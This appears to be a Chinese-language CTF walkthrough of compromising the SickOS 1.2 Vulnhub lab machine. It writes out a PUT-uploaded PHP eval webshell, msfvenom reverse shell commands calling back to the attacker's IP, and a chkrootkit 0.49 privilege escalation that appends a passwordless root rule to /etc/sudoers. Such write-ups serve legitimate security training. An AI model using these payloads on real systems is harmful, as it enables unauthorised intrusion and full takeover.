【Vulnhub通关】SickOS:1.2


准备工作

靶机基本信息

靶机名称:SickOS 1.2

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络

渗透测试目标:获取靶机root权限并读取Flag文件

下载地址:1. SickOs: 1.2 ~ VulnHub

2. Sick0s1.2.zip_免费高速下载|百度网盘-分享无限制

环境配置

使用VMware软件打开靶机压缩包内的SickOs1.2.ovf文件,即可自动导入虚拟机。

主页 -> File -> Scan for Virtual Machines


信息收集

主机发现

在Kali Linux中,使用netdiscover发现主机:

shell 复制代码
netdiscover -r 192.168.2.0/24

可以发现,网卡名称为VMware, Inc.的主机即为靶机,IP地址为192.168.2.122

防火墙探测

确定主机IP地址后,我们使用nmap探测靶机是否开启了防火墙:

shell 复制代码
nmap -sA -p- 192.168.2.122

Nmap ACK扫描:当用户使用-sA参数时,Nmap会对目标主机进行ACK扫描。Nmap会向目标主机的随机端口发送一个TCP ACK包,如果目标返回RST包,则证明该端口开启且未被过滤;如果目标长时间无应答,则认为该端口关闭或者被过滤

看样子目标主机大概率有防火墙。尝试进行ICMP联通性测试:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 5 192.168.2.122
PING 192.168.2.122 (192.168.2.122) 56(84) bytes of data.

--- 192.168.2.122 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4075ms

看来绝对有防火墙,没跑了。<)。(>

网络服务扫描

使用如下命令扫描目标主机:

shell 复制代码
# 扫描TCP开放端口、软件版本、操作系统
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.122
# 快速扫描UDP开放端口
nmap -sU -p- -T5 -oN ./udp_result.txt 192.168.2.122

可以看到靶机开放了如下端口:

端口 传输层协议 应用层协议 详细信息
22 TCP SSH OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80 TCP HTTP lighttpd 1.4.28

同时发现靶机操作系统为Ubuntu Linux,内核版本大概在3.104.11之间。


服务探测

SSH服务(22端口)

使用nc确定Banner信息:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# nc 192.168.2.122 22                                   
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.8
^C

搜索公开漏洞:

shell 复制代码
searchsploit OpenSSH 5.9

但并未找到合适的漏洞。

Web应用程序(80端口)

打开浏览器,在地址栏中输入网址http://192.168.2.122/查看网站主页:

主页上有且只有一幅图片,而且这幅图片的内容,嘶。。。遥遥领先!

(意思是:如果计算机病毒真的是安全公司制作出来用于挣钱的呢?)

查看网页源代码,没有发现什么有价值的信息:

HTML 复制代码
<html>

<img src="blow.jpg">

</html>
<!-- 长达90多行的空白内容 -->
<!-- NOTHING IN HERE ///\\\ -->>>>

把网页上的图片下载下来,使用二进制编辑软件GHex打开,也没有发现任何有效信息:

无奈之下直接扫描一波目录:

shell 复制代码
dirsearch -u http://192.168.2.122/ -i 200,301,302,304

网站目录结构大概如下:

  • /test        =>     未知目录
  • blow.jpg       =>     网站主页上的图片
  • index.php      =>     网站主页

既然扫出了新目录,那么就尝试访问一下(http://192.168.2.122/test/):

看来这个目录貌似没有网页文件,并且开启了目录列表。查看一下源代码:

还是什么也没有。。。。

实在想不出从哪里渗透了,于是只好启动Nikto试图挣扎一下:

shell 复制代码
nikto -h 192.168.2.122

结果扫描出了天大的好消息:

靶机的网页服务似乎支持了一些不安全的HTTP方法。于是打算使用BurpSuite发送HTTP OPTIONS数据包来探测一下其支持的方法:

Text 复制代码
OPTIONS /test/ HTTP/1.1
Host: 192.168.2.122
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

果然。。。它支持PUT方法。。。

那么我们就可以上传任意类型的文件,包括PHP后门脚本。

对靶机的服务探测已经结束,下面进入渗透测试部分


渗透测试

上传PHP后门

前面已经探测到了靶机的Web服务支持PUT方法,那么我们就可以直接上传PHP后门:

Text 复制代码
PUT /test/backdoor.php HTTP/1.1
Host: 192.168.2.122
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 32

<?php @eval($_REQUEST[code]); ?>

上传成功!接下来使用中国蚁剑软件直接连接后门即可。连接参数如下:

点击添加按钮,随后在主页面上右击添加的数据,选择虚拟终端菜单项点击,即可打开WebShell。

接下来我们需要上传MSF系统后门,以便于我们渗透提权。

绕过防火墙使用系统后门

连接蚁剑之后,根据蚁剑返回的系统信息,判断靶机系统为32位架构

Text 复制代码
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 

使用msfvenom生成32位Linux系统的后门:

shell 复制代码
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.2.108 LPORT=20000 -f elf > get_cmdshell 

随后将其上传至靶机执行:

shell 复制代码
chmod 777 ./*
./get_cmdshell

在本机的20000号端口开启监听:

shell 复制代码
rlwrap nc -lvnp 20000

可是等待了很久,20000号端口还是没有响应。我感觉不太对,尝试使用Ping工具检查网络连通性:

shell 复制代码
ping -c 10 192.168.2.108

但是什么也没有:

我开始意识到靶机除了入站防火墙之外,还部署了出站防火墙

思考了很久,最后假设防火墙入站和出站的策略一致,决定将本机监听端口更换成80端口试一试:

shell 复制代码
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.2.108 LPORT=80 -f elf > reverse_cmdshell 

在本地启动nc监听:

shell 复制代码
rlwrap nc -lvnp 80

重新上传系统后门并执行:

shell 复制代码
chmod 777 *
./reverse_cmdshell

还是失败。。。。

最后尝试换成443号端口,并将监听软件换成Metasploit,成功了:

使用如下Python代码获取交互式Shell:

Python 复制代码
import pty
pty.spawn('/bin/bash')

渗透测试到此结束,进入权限提升部分


权限提升

进入系统之后,首先查看一波系统的基本信息:

shell 复制代码
ifconfig
id
uname -a

可以发现靶机系统的版本为Ubuntu Server 12.04.4 LTS,内核版本为3.11.0-15-generic

查看该用户执行过的历史命令:

shell 复制代码
history

没有什么敏感信息,全部都是我们执行过的命令。

查看靶机的端口状态:

shell 复制代码
netstat -lentup

除了SSH服务的22端口,DHCP客户端的68端口,HTTP服务的80端口之外,没有发现其它敏感信息。

查看靶机的进程列表:

shell 复制代码
ps -aux

这里发现了root用户存在系统定时任务。决定查看一下定时任务配置文件:

shell 复制代码
cat /etc/crontab

使用ls命令查看定时任务程序目录:

shell 复制代码
ls -lA /etc/cron*

发现一个敏感文件chkrootkit,emm。。。这是个啥?

尝试执行了下,没有任何反应。百度看看:

看来是一个Linux上的病毒查杀软件。但是结合我们在靶机网站主页上发现的那句话。。。总感觉有什么不太对的地方。。。

先看看chkrootkit的软件版本:

shell 复制代码
chkrootkit -V

得知了chkrootkit的漏洞版本为0.49,尝试找一下公开漏洞:

shell 复制代码
searchsploit chkrootkit

出!院!!

大致看了一下漏洞的说明文件,提权步骤如下:

  1. /tmp目录下创建一个名为update的脚本文件,必须为777权限;
  2. 启动chkrootkit,这里因为存在root权限的定时任务,所以直接跳过。

这里我们就创建一个可以修改/etc/sudoers文件的脚本,从而使www-data用户可以免密切换至root用户

脚本内容如下:

shell 复制代码
#! /bin/bash
echo "%www-data  ALL=(ALL)  NOPASSWD:ALL" >> /etc/sudoers

这里我们可以直接使用中国蚁剑软件的文件管理功能编写脚本:

编写完成之后,关闭文件编辑器,右键点击update文件,在菜单中点击更改文件权限,设置文件权限为0777即可

稍微等待一会儿,再次执行sudo -l命令查看是否可以提权:

Text 复制代码
www-data@ubuntu:/var/www/test$ sudo -l
sudo -l
Matching Defaults entries for www-data on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on this host:
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL

看样子脚本已经成功执行了,直接执行sudo su -

成功!!!!

直接改密码:

Text 复制代码
root@ubuntu:~# passwd 
passwd
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

使用Termius软件登录SSH:


Flag信息

文件名:7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
文件大小:491字节
MD5:fd16531af8d97ec1885a3d7de9dce7d2
SHA256:02467b128e65b45715e2de59ff2ce6e93118646f7074d58c27d13f82a4245ce4

Flag内容:


本次靶机渗透到此结束

相关推荐
用户962377954482 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主3 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954485 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star5 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954485 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全